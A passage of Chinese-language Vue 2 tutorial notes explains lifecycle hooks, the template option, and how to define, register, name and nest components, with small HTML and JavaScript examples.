</script>
🍓生命周期
🔥生命周期函数的特点:
- Vue在关键时刻帮我们调用的一些特殊名称的函数
- 函数名固定,不可更改
- 生命周期函数内部的
this
指向vm
实例或组件实例对象 - 如果没有给
vm
实例绑定el
,则生命周期函数只会执行beforeCreate
和created
,后面的不会执行,除非你调用vm.$mount('#root')
绑定el
🔥vm
生命周期函数
- 🔥
vm
初始化:- 之前:
beforeCreate
- 之后:
created
- 之前:
- 🔥
vm
解析模板,挂载页面:- 之前:
beforeMount
- 之后:
mounted
(重要)一般在这个方法里发送ajax
请求、启动定时器、绑定自定义事件、订阅消息等初始化操作
- 之前:
- 🔥
vm
更新数,更新到页面:- 之前:
beforeUpdate
- 之后:
updated
- 之前:
- 🔥
vm
销毁:- 之前:
beforeDestroy
(重要)一般在这个方法里清除定时器、解绑自定义事件、取消订阅等收尾工作 - 之后:
destroyed
- 之前:
🔥销毁vm
:
- 1️⃣使用
vm.$destroy()
,销毁vm
实例 - 2️⃣
vm
销毁之前会调用生命周期函数beforeDestroy
,销毁后会再次调用生命周期函数destroyed
- 3️⃣
vm
销毁之前在生命周期函数beforeDestroy
中对数据进行修改,数据修改了,但是不会触发页面更新了 - 4️⃣
vm
销毁后,vm
所做的成果还在,包括解析的页面和绑定的事件,只是不能再对数据进行更新了 - 5️⃣
vm
销毁后,Vue
开发者工具看不到任何信息
<div id="root">
<!--
1. style里面的东西需要Vue去解析,则写成v-bind:style,简写为:style
2. style里面的是一个个的键值对,即一个个对象,可以写成{opacity:opacity}
3. 因为取的名字跟css的样式名是一样的,根据对象的简写原则,可以写成{opacity}
-->
<h2 :style="{opacity}">欢迎学习Vue</h2>
<button type="button" @click="tc">点我弹窗</button>
<button type="button" @click="destoryVM">销毁vm</button>
<button type="button" @click="stop">暂停样式</button>
</div>
<script type="text/javascript">
new Vue({
el:'#root',
data:{
opacity:1
},
methods:{
tc(){
alert('1')
},
destoryVM(){
//销毁vm实例,但是vm所做的成果还在
this.$destroy()
},
stop(){
clearInterval(this.timer)
}
},
//vm初始化数据监测,数据代理调用之前
beforeCreate(){
console.log(this)
},
//Vue初始化数据监测,数据代理调用后,created可以访问data和methods
created(){
console.log(this)
},
//Vue解析模板生成虚拟DOM,挂载到页面上之前
beforeMount(){
console.log(this)
},
//Vue将虚拟DOM挂载到页面上之后
mounted(){
this.timer = setInterval(()=>{
this.opacity = this.opacity - 0.01
if(this.opacity <= 0){
this.opacity = 1
}
},60)
},
//数据更新后,页面尚未更新之前,此时数据是新的,页面是旧的,页面与数据尚未保持同步
beforeUpdate(){
console.log(this)
},
//页面更新之后,此时数据是新的,页面也是新的,页面与数据保持同步
updated(){
console.log(this)
},
//当调用vm.$destroy时,vm开始进行自我销毁,vm销毁之前调用下面函数
beforeDestroy(){
clearInterval(this.timer)
console.log(this)
},
//Vue实例销毁之后
destroyed(){
console.log(this)
}
})
</script>
🍓 Vue模板定义
template
写模板:
- 📌必须保证
template
里面只有一个根节点,注意:不能使用template
标签作为根节点 - 📌如果是用
''
,则代码必须写在一行,不能换行 - 📌
template
解析后的DOM
会替换整个el
绑定的容器,包括容器本身,所以你在容器身上加的任何vue
的属性都是没有用的(与之前在body
里面写的模板的区别)
<div id="root">
</div>
<script type="text/javascript">
new Vue({
el:'#root',
template:`<div>
<h2>年龄:{{age}}</h2>
<h2>出生年份:{{2021 - age}}</h2>
</div>`,
data:{
age:25
}
})
</script>
🍓组件
- 📌
Vue
使用组件的三大步骤:-
定义组件
全写 const 组件变量 = Vue.extend({ }) 简写: const 组件变量 = {}
注意:
1️⃣组件中的data
必须写成函数式的,避免组件被复用时,数据存在引用关系
2️⃣组件中不要设置el
属性,因为组件不是为某个特定的容器服务的,它是哪边需要,哪边调用
3️⃣可以使用name
配置项指定组件在Vue
开发者工具中呈现的名字 -
注册组件
- 局部注册(推荐)
如果组件定义时没有指定new Vue({ components:{ 组件名:组件变量 } })
name
,则Vue
开发者工具会默认取你注册组件时起的名字 - 全局注册
Vue.component('组件名',组件变量)
- 局部注册(推荐)
-
使用组件
- 模板中在需要引用组件的地方使用标签<组件名></组件名>,可以重复使用,数据相互之间独立,互不影响
- 支持<组件名 />,但是只有在
Vue
脚手架里才支持 - 不管组件定义时取什么名,模板里的组件名都是根据你注册组件时起的名字来写的
-
组件命名:
- 不要使用
HTML
中已经保留的html
标签名称起名 - 一个单词的组件名,可以全小写,或者首字母大写
- 多个单词使用-连接如
my-school
或者每个单词的首字母大写(注意:这种方式只能在Vue
脚手架里用)
- 不要使用
-
- 📌组件的本质:组件的本质是一个名为
VueComponent
的构造函数,且不是程序员定义的,是Vue.extend
生成的 - 📌<组件名></组件名>会帮我们调用
VueComponent
的构造函数,生成一个VueComponent
的组件实例对象vc
- 📌组件中管理的函数,他们的
this
指向是当前组件实例vc
- 📌
vm
实例上的属性和函数,vc
几乎也有,但是vc
跟vm
还是有区别的,比如el
,比如data
在vc
中只能写成函数,vc
是vm
可复用的Vue
实例(即VueComponent
的原型对象指向Vue
的原型对象)(VueComponent.prototype.__proto__ === Vue.prototype
)
<div id="root">
<!--使用组件-->
<school></school>
<hr>
<student></student>
</div>
<script type="text/javascript">
//定义组件
const school = Vue.extend({
template:`<div>
<h3>学校名称:{{schoolName}}</h3> <br />
<h3>学校地址:{{address}}</h3>
</div>`,
data(){
return {
schoolName:'vue大学',
address:'北京'
}
}
})
console.dir(school)
//简写
const student = {
template:`<div>
<h3>学生姓名:{{studentName}}</h3> <br />
<h3>年龄:{{studentAge}}</h3>
</div>`,
data(){
return {
studentName:'张三',
studentAge:23
}
}
}
new Vue({
el:'#root',
components:{ //注册组件
school,
student
}
})
</script>
🍒组件的嵌套
<script type="text/javascript">
const student = {
name:'student',
template:`<div>
<h3>学生姓名:{{name}}</h3> <br>
<h3>学生年龄:{{age}}</h3><br>
</div>`,
data(){
return {
name:'张三',
age:23
}
}
}
const school = {
name:'school',
template:`<div>
<h3>学校名称:{{name}}</h3> <br>
<h3>学校地址:{{address}}</h3><br>
<hr>
<student></student>
</div>`,
data(){
return {
name:'Vue大学',
address:'北京'
}
},
components:{
student
}
}
const msg = {
name:'msg',
template:`<h3>{{msg}}</h3>`,
data(){
return {
msg:'Vue的世界欢迎您!'
}
}
}
const app = {
name:'app',
template:`<div>
<msg></msg> <br>
<school></school>
</div>`,
components:{
msg,
school
}
}
new Vue({
el:'#root',
template:`<app></app>`,
components:{
app
}
})
</script>